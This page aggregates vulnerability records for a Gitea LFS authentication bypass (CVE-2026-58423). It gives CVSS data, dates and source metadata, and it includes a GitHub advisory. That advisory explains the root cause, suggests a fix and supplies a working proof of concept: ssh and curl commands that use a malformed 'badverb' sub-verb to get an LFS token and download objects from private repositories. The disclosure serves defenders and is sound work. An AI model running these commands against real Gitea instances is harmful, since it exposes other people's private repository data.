LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-58423
PublishedLFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
- Source published
- 3 Jul 2026 20:54:52 UTC
- Source modified
- 6 Jul 2026 15:09:55 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
euvd · EUVD-2026-41606
PublishedLFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 3, 2026, 8:54:52 PM
dateUpdated: Jul 6, 2026, 3:09:55 PM
- Source published
- Jul 3, 2026, 8:54:52 PM (timezone not stated)
- Source modified
- Jul 6, 2026, 3:09:55 PM (timezone not stated)
- Observed here
- 7 Nov 2026 13:23:56 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
nvd · CVE-2026-58423
PublishedLFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-287
Original publisher date fields
published: 2026-07-03T21:17:05.550
lastModified: 2026-10-25T15:10:00.147
- Source published
- 3 Jul 2026 21:17:05 UTC
- Source modified
- 25 Oct 2026 15:10:00 UTC
- Observed here
- 27 Oct 2026 15:15:28 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 88ee5874-cf24-4952-aea0-31affedb7ff2 · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
osv · GHSA-7wvc-rvp7-w99x
Published### Summary A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository. ### Details In `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to: ```go setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb) return perm.AccessModeNone ``` In production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates: ```go if repoExist && (mode > perm.AccessModeRead || repo.IsPrivate || owner.Visibility.IsPrivate() || (user != nil && user.IsRestricted) || setting.Service.RequireSignInViewStrict) { ... if userMode < mode { // userMode < 0 is always false // deny access } } ``` For private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode < mode` evaluates to `userMode < 0`, which is always false — **access is granted regardless of the user's actual permissions**. The function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: "badverb"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations: ```go if mode == perm_model.AccessModeWrite && claims.Op != "upload" { return nil, errors.New("invalid token claim") } ``` Download operations do not check `Op`, so the attacker's token is accepted for all LFS read operations. ### PoC Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo). ```bash # 1. Verify attacker has NO access via normal LFS authenticate ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download" # Output: "User: attacker is not authorized to read admin/private-repo." # 2. EXPLOIT: Use malformed sub-verb to bypass permission check ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb" # Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"} # 3. Use stolen token to request LFS object download curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \ -H "Content-Type: application/vnd.git-lfs+json" \ -H "Accept: application/vnd.git-lfs+json" \ -H "Authorization: Bearer eyJ..." \ -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}' # Returns download URL with valid authorization header # 4. Download private LFS content curl -H "Authorization: Bearer eyJ..." \ "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>" # Returns the private LFS object content ``` ### Impact Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration). ### Suggested fix Validate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs: ```go case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer: switch lfsVerb { case git.CmdSubVerbLfsUpload: return perm.AccessModeWrite case git.CmdSubVerbLfsDownload: return perm.AccessModeRead default: return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb) } ```
- Source published
- 21 Jul 2026 20:35:09 UTC
- Source modified
- 22 Jul 2026 21:11:20 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Publisher rating · HIGH
osv · GO-2026-6046
PublishedGitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories in code.gitea.io/gitea
- Source published
- 22 Jul 2026 20:36:35 UTC
- Source modified
- 22 Jul 2026 21:00:31 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.